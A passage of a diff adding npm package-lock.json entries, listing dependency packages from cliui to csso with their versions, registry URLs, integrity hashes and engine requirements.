"sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/cliui/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/cliui/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/co": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", + "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==", + "engines": { + "iojs": ">= 1.0.0", + "node": ">= 0.12.0" + } + }, + "node_modules/coa": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.2.tgz", + "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==", + "dependencies": { + "@types/q": "^1.5.1", + "chalk": "^2.4.1", + "q": "^1.1.2" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/codem-isoboxer": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/codem-isoboxer/-/codem-isoboxer-0.3.6.tgz", + "integrity": "sha512-LuO8/7LW6XuR5ERn1yavXAfodGRhuY2yP60JTZIw5yNYMCE5lUVbk3NFUCJxjnphQH+Xemp5hOGb1LgUXm00Xw==" + }, + "node_modules/collect-v8-coverage": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz", + "integrity": "sha512-lHl4d5/ONEbLlJvaJNtsF/Lz+WvB07u2ycqTYbdrq7UypDXailES4valYb2eWiJFxZlVmpGekfqoxQhzyFdT4Q==" + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/colord": { + "version": "2.9.3", + "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==" + }, + "node_modules/colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "dev": true, + "engines": { + "node": "^12.20.0 || >=14" + } + }, + "node_modules/common-path-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/common-path-prefix/-/common-path-prefix-3.0.0.tgz", + "integrity": "sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w==" + }, + "node_modules/common-tags": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz", + "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==" + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "dependencies": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/compression/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==" + }, + "node_modules/confusing-browser-globals": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz", + "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==" + }, + "node_modules/connect-history-api-fallback": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz", + "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==" + }, + "node_modules/cookie": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", + "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" + }, + "node_modules/core-js": { + "version": "3.36.0", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.36.0.tgz", + "integrity": "sha512-mt7+TUBbTFg5+GngsAxeKBTl5/VS0guFeJacYge9OmHb+m058UwwIm41SE9T4Den7ClatV57B6TYTuJ0CX1MAw==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat": { + "version": "3.36.0", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.36.0.tgz", + "integrity": "sha512-iV9Pd/PsgjNWBXeq8XRtWVSgz2tKAfhfvBs7qxYty+RlRd+OCksaWmOnc4JKrTc1cToXL1N0s3l/vwlxPtdElw==", + "dependencies": { + "browserslist": "^4.22.3" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-pure": { + "version": "3.36.0", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.36.0.tgz", + "integrity": "sha512-cN28qmhRNgbMZZMc/RFu5w8pK9VJzpb2rJVR/lHuZJKwmXnoWOpXmMkxqBB514igkp1Hu8WGROsiOAzUcKdHOQ==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "node_modules/cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/crypto-random-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz", + "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/css-blank-pseudo": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz", + "integrity": "sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "bin": { + "css-blank-pseudo": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-declaration-sorter": { + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz", + "integrity": "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==", + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.0.9" + } + }, + "node_modules/css-has-pseudo": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz", + "integrity": "sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "bin": { + "css-has-pseudo": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-loader": { + "version": "6.10.0", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.10.0.tgz", + "integrity": "sha512-LTSA/jWbwdMlk+rhmElbDR2vbtQoTBPr7fkJE+mxrHj+7ru0hUmHafDRzWIjIHTwpitWVaqY2/UWGRca3yUgRw==", + "dependencies": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.33", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.4", + "postcss-modules-scope": "^3.1.1", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.5.4" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/css-loader/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/css-loader/node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/css-loader/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/css-minimizer-webpack-plugin": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz", + "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==", + "dependencies": { + "cssnano": "^5.0.6", + "jest-worker": "^27.0.2", + "postcss": "^8.3.5", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@parcel/css": { + "optional": true + }, + "clean-css": { + "optional": true + }, + "csso": { + "optional": true + }, + "esbuild": { + "optional": true + } + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/css-prefers-color-scheme": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz", + "integrity": "sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==", + "bin": { + "css-prefers-color-scheme": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-select-base-adapter": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz", + "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==" + }, + "node_modules/css-tree": { + "version": "1.0.0-alpha.37", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.37.tgz", + "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==", + "dependencies": { + "mdn-data": "2.0.4", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/css-tree/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css.escape": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz", + "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==", + "dev": true + }, + "node_modules/cssdb": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-7.10.0.tgz", + "integrity": "sha512-yGZ5tmA57gWh/uvdQBHs45wwFY0IBh3ypABk5sEubPBPSzXzkNgsWReqx7gdx6uhC+QoFBe+V8JwBB9/hQ6cIA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + } + ] + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano": { + "version": "5.1.15", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.15.tgz", + "integrity": "sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==", + "dependencies": { + "cssnano-preset-default": "^5.2.14", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/cssnano" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-preset-default": { + "version": "5.2.14", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz", + "integrity": "sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==", + "dependencies": { + "css-declaration-sorter": "^6.3.1", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.1", + "postcss-convert-values": "^5.1.3", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.7", + "postcss-merge-rules": "^5.1.4", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.4", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.1", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.2", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-utils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/csso": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "dependencies": { + "css-tree": "^1.1.2" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csso/node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csso/node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==" + }, + "node_modules/csso/node_modules/source-map": { + "version": "0.6.1", + "resolved": 